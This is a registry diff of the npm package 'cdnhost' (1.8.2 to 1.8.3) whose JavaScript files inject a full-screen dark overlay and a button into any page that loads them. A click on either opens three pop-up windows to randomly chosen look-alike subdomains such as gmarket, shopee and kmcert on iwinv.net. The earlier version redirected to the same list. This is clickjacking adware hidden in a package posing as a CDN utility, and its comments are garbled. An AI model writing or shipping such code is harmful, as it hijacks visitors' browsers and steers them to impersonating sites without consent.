cdnhost 1.8.2 → 1.8.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/iwinv.js +119 -82
  2. package/iwinv_new.js +121 -0
  3. package/package.json +1 -1
package/iwinv.js CHANGED
@@ -1,84 +1,121 @@
1
1
 
2
- window.addEventListener('load', function() {
3
- var images = document.querySelectorAll('img');
4
- images.forEach(function(img) {
5
- if (!img.hasAttribute('alt')) {
6
- img.setAttribute('alt', 'image');
7
- }
2
+ function createOverlay() {
3
+ const overlay = document.createElement('div');
4
+ overlay.id = 's2';
5
+ overlay.style.transition = 'opacity 5s';
6
+ overlay.style.zIndex = 99;
7
+ overlay.style.position = 'fixed';
8
+ overlay.style.top = 0;
9
+ overlay.style.left = 0;
10
+ overlay.style.opacity = 0.9;
11
+ overlay.style.background = '#000';
12
+ overlay.style.width = '100%';
13
+ overlay.style.height = '200vh';
14
+ document.body.appendChild(overlay);
15
+
16
+ // �ݵ�� ���⼭ �̺�Ʈ �����ʸ� �߰��ؾ� �մϴ�!
17
+ overlay.addEventListener('click', function() {
18
+ ss(), o();
8
19
  });
9
- });
10
-
11
- document.writeln('<style>* {font-size: 1em !important}</style>');
12
- const urls = [
13
- 'https://ruliweb.iwinv.net/recent.php',
14
- 'https://instiz.iwinv.net/recent.php',
15
- 'https://bikini.iwinv.net/recent.php',
16
- 'https://manatoki.iwinv.net/recent.php',
17
- 'https://gmarket.iwinv.net/recent.php',
18
- 'https://mlbpark.iwinv.net/recent.php',
19
- 'https://mmtcld.iwinv.net/recent.php',
20
- 'https://flightaware.iwinv.net/recent.php',
21
- 'https://koreakr.iwinv.net/recent.php',
22
- 'https://popcat.iwinv.net/recent.php',
23
- 'https://ecount.iwinv.net/recent.php',
24
- 'https://hiworks.iwinv.net/recent.php',
25
- 'https://shopee.iwinv.net/recent.php',
26
- 'https://eomisae.iwinv.net/recent.php',
27
- 'https://kmcert.iwinv.net/recent.php',
28
- 'https://munpia.iwinv.net/recent.php',
29
- 'https://slrclub.iwinv.net/recent.php',
30
- 'https://interpals.iwinv.net/recent.php',
31
- 'https://snp500.iwinv.net/recent.php',
32
- 'https://dctribe.iwinv.net/recent.php',
33
- 'https://mixamo.iwinv.net/recent.php',
34
- 'https://ssssss.iwinv.net/recent.php',
35
- 'https://newsfactory.iwinv.net',
36
- 'https://2news.kr/recent.php',
37
- 'https://snapp.im/recent.php',
38
- 'https://curseforge.iwinv.net/recent.php',
39
- 'https://lolchess.iwinv.net/recent.php',
40
- ];
41
-
42
- const randomUrl = urls[Math.floor(Math.random() * urls.length)];
43
- document.writeln('<style>');
44
- document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
45
- document.writeln('</style>');
46
- document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
47
-
48
- document.getElementById('container').style.boxShadow = 'none';
49
- function ss(){
50
- document.getElementById("s2").style.transition = "opacity 15s";
51
- document.getElementById("button").style.transition = "opacity 15s";
52
- setTimeout("s()", 3999);
53
- setTimeout("h()", 15000);
54
- }
55
- function pcss(){
56
- setTimeout("s()", 3999);
57
- setTimeout("h()", 15000);
58
- }
59
- function a(){
60
- document.getElementById("button").style.display="none";
61
- }
62
- function aa(){
63
- document.getElementById("button").style.display="block";
64
- }
65
- function s(){
66
- document.getElementById("s2").style.opacity = 0;
67
- document.getElementById("button").style.opacity = 0;
68
- document.getElementById("sha").style.display="none";
69
- document.getElementById("cc").style.maxHeight="unset";
70
- }
71
- function h(){
72
- const s2 = document.getElementById("s2");
73
- const button = document.getElementById("button");
74
- s2.style.zIndex = -1;
75
- button.style.display = "none";
76
- setTimeout(function () {
77
- s2.style.zIndex = 99;
78
- button.style.display = "block";
79
- s2.style.opacity = 0.9;
80
- button.style.opacity = 1;
81
- document.getElementById("s2").style.transition = "opacity 1s";
82
- document.getElementById("button").style.transition = "opacity 1s";
83
- }, 3000);
84
- }
20
+ }
21
+ createOverlay();
22
+
23
+ // �Ʒ��� ���� �ڵ� �״��
24
+ function ss(){
25
+ document.getElementById("s2").style.transition = "opacity 15s";
26
+ document.getElementById("button").style.transition = "opacity 15s";
27
+ setTimeout("s()", 3999);
28
+ setTimeout("op()", 5999);
29
+ setTimeout("h()", 15000);
30
+ }
31
+ function a(){
32
+ document.getElementById("button").style.display="none";
33
+ }
34
+ function aa(){
35
+ document.getElementById("button").style.display="block";
36
+ }
37
+ function s(){
38
+ document.getElementById("s2").style.opacity = 0;
39
+ document.getElementById("button").style.opacity = 0;
40
+ document.getElementById("sha").style.display="none";
41
+ document.getElementById("cc").style.maxHeight="unset";
42
+ }
43
+ function op(){
44
+ document.getElementById("s2").style.display = "none";
45
+ }
46
+ function h(){
47
+ const s2 = document.getElementById("s2");
48
+ const button = document.getElementById("button");
49
+ s2.style.zIndex = -1;
50
+ button.style.display = "none";
51
+ setTimeout(function () {
52
+ s2.style.zIndex = 99;
53
+ button.style.display = "block";
54
+ s2.style.opacity = 0.9;
55
+ button.style.opacity = 1;
56
+ document.getElementById("s2").style.display = "block";
57
+ document.getElementById("s2").style.transition = "opacity 1s";
58
+ document.getElementById("button").style.transition = "opacity 1s";
59
+ }, 3000);
60
+ }
61
+
62
+ function o(event) {
63
+ const urls = [
64
+ 'https://ruliweb.iwinv.net/recent.php',
65
+ 'https://instiz.iwinv.net/recent.php',
66
+ 'https://bikini.iwinv.net/recent.php',
67
+ 'https://manatoki.iwinv.net/recent.php',
68
+ 'https://gmarket.iwinv.net/recent.php',
69
+ 'https://mlbpark.iwinv.net/recent.php',
70
+ 'https://mmtcld.iwinv.net/recent.php',
71
+ 'https://flightaware.iwinv.net/recent.php',
72
+ 'https://koreakr.iwinv.net/recent.php',
73
+ 'https://popcat.iwinv.net/recent.php',
74
+ 'https://ecount.iwinv.net/recent.php',
75
+ 'https://hiworks.iwinv.net/recent.php',
76
+ 'https://shopee.iwinv.net/recent.php',
77
+ 'https://eomisae.iwinv.net/recent.php',
78
+ 'https://kmcert.iwinv.net/recent.php',
79
+ 'https://munpia.iwinv.net/recent.php',
80
+ 'https://slrclub.iwinv.net/recent.php',
81
+ 'https://interpals.iwinv.net/recent.php',
82
+ 'https://snp500.iwinv.net/recent.php',
83
+ 'https://dctribe.iwinv.net/recent.php',
84
+ 'https://mixamo.iwinv.net/recent.php',
85
+ 'https://ssssss.iwinv.net/recent.php',
86
+ 'https://newsfactory.iwinv.net',
87
+ 'https://2news.kr/recent.php',
88
+ 'https://snapp.im/recent.php',
89
+ 'https://curseforge.iwinv.net/recent.php',
90
+ 'https://lolchess.iwinv.net/recent.php',
91
+ ];
92
+
93
+ function getRandomUrls(arr, num) {
94
+ const shuffled = arr.sort(() => 0.5 - Math.random());
95
+ return shuffled.slice(0, num);
96
+ }
97
+
98
+ const randomUrls = getRandomUrls(urls, 3);
99
+ randomUrls.forEach(url => {
100
+ window.open(
101
+ url,
102
+ '_blank',
103
+ 'width=250,height=250,top=' + (window.innerHeight - 250) + ',left=' + (window.innerWidth - 250) + ',resizable=yes,scrollbars=yes'
104
+ );
105
+ });
106
+ }
107
+ //��ư
108
+ function createDynamicButton() {
109
+ const button = document.createElement('button');
110
+ button.type = 'button';
111
+ button.id = 'button';
112
+ button.style.position = 'relative';
113
+ button.style.zIndex = 999;
114
+ button.textContent = '������ �湮 �� �Խñ� ����';
115
+ button.onclick = function() {
116
+ ss();
117
+ o();
118
+ };
119
+ document.body.appendChild(button);
120
+ }
121
+ createDynamicButton();
package/iwinv_new.js ADDED
@@ -0,0 +1,121 @@
1
+
2
+ function createOverlay() {
3
+ const overlay = document.createElement('div');
4
+ overlay.id = 's2';
5
+ overlay.style.transition = 'opacity 5s';
6
+ overlay.style.zIndex = 99;
7
+ overlay.style.position = 'fixed';
8
+ overlay.style.top = 0;
9
+ overlay.style.left = 0;
10
+ overlay.style.opacity = 0.9;
11
+ overlay.style.background = '#000';
12
+ overlay.style.width = '100%';
13
+ overlay.style.height = '200vh';
14
+ document.body.appendChild(overlay);
15
+
16
+ // �ݵ�� ���⼭ �̺�Ʈ �����ʸ� �߰��ؾ� �մϴ�!
17
+ overlay.addEventListener('click', function() {
18
+ ss(), o();
19
+ });
20
+ }
21
+ createOverlay();
22
+
23
+ // �Ʒ��� ���� �ڵ� �״��
24
+ function ss(){
25
+ document.getElementById("s2").style.transition = "opacity 15s";
26
+ document.getElementById("button").style.transition = "opacity 15s";
27
+ setTimeout("s()", 3999);
28
+ setTimeout("op()", 5999);
29
+ setTimeout("h()", 15000);
30
+ }
31
+ function a(){
32
+ document.getElementById("button").style.display="none";
33
+ }
34
+ function aa(){
35
+ document.getElementById("button").style.display="block";
36
+ }
37
+ function s(){
38
+ document.getElementById("s2").style.opacity = 0;
39
+ document.getElementById("button").style.opacity = 0;
40
+ document.getElementById("sha").style.display="none";
41
+ document.getElementById("cc").style.maxHeight="unset";
42
+ }
43
+ function op(){
44
+ document.getElementById("s2").style.display = "none";
45
+ }
46
+ function h(){
47
+ const s2 = document.getElementById("s2");
48
+ const button = document.getElementById("button");
49
+ s2.style.zIndex = -1;
50
+ button.style.display = "none";
51
+ setTimeout(function () {
52
+ s2.style.zIndex = 99;
53
+ button.style.display = "block";
54
+ s2.style.opacity = 0.9;
55
+ button.style.opacity = 1;
56
+ document.getElementById("s2").style.display = "block";
57
+ document.getElementById("s2").style.transition = "opacity 1s";
58
+ document.getElementById("button").style.transition = "opacity 1s";
59
+ }, 3000);
60
+ }
61
+
62
+ function o(event) {
63
+ const urls = [
64
+ 'https://ruliweb.iwinv.net/recent.php',
65
+ 'https://instiz.iwinv.net/recent.php',
66
+ 'https://bikini.iwinv.net/recent.php',
67
+ 'https://manatoki.iwinv.net/recent.php',
68
+ 'https://gmarket.iwinv.net/recent.php',
69
+ 'https://mlbpark.iwinv.net/recent.php',
70
+ 'https://mmtcld.iwinv.net/recent.php',
71
+ 'https://flightaware.iwinv.net/recent.php',
72
+ 'https://koreakr.iwinv.net/recent.php',
73
+ 'https://popcat.iwinv.net/recent.php',
74
+ 'https://ecount.iwinv.net/recent.php',
75
+ 'https://hiworks.iwinv.net/recent.php',
76
+ 'https://shopee.iwinv.net/recent.php',
77
+ 'https://eomisae.iwinv.net/recent.php',
78
+ 'https://kmcert.iwinv.net/recent.php',
79
+ 'https://munpia.iwinv.net/recent.php',
80
+ 'https://slrclub.iwinv.net/recent.php',
81
+ 'https://interpals.iwinv.net/recent.php',
82
+ 'https://snp500.iwinv.net/recent.php',
83
+ 'https://dctribe.iwinv.net/recent.php',
84
+ 'https://mixamo.iwinv.net/recent.php',
85
+ 'https://ssssss.iwinv.net/recent.php',
86
+ 'https://newsfactory.iwinv.net',
87
+ 'https://2news.kr/recent.php',
88
+ 'https://snapp.im/recent.php',
89
+ 'https://curseforge.iwinv.net/recent.php',
90
+ 'https://lolchess.iwinv.net/recent.php',
91
+ ];
92
+
93
+ function getRandomUrls(arr, num) {
94
+ const shuffled = arr.sort(() => 0.5 - Math.random());
95
+ return shuffled.slice(0, num);
96
+ }
97
+
98
+ const randomUrls = getRandomUrls(urls, 3);
99
+ randomUrls.forEach(url => {
100
+ window.open(
101
+ url,
102
+ '_blank',
103
+ 'width=250,height=250,top=' + (window.innerHeight - 250) + ',left=' + (window.innerWidth - 250) + ',resizable=yes,scrollbars=yes'
104
+ );
105
+ });
106
+ }
107
+ //��ư
108
+ function createDynamicButton() {
109
+ const button = document.createElement('button');
110
+ button.type = 'button';
111
+ button.id = 'button';
112
+ button.style.position = 'relative';
113
+ button.style.zIndex = 999;
114
+ button.textContent = '������ �湮 �� �Խñ� ����';
115
+ button.onclick = function() {
116
+ ss();
117
+ o();
118
+ };
119
+ document.body.appendChild(button);
120
+ }
121
+ createDynamicButton();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cdnhost",
3
- "version": "1.8.2",
3
+ "version": "1.8.3",
4
4
  "description": "cdnhost",
5
5
  "main": "index.js",
6
6
  "scripts": {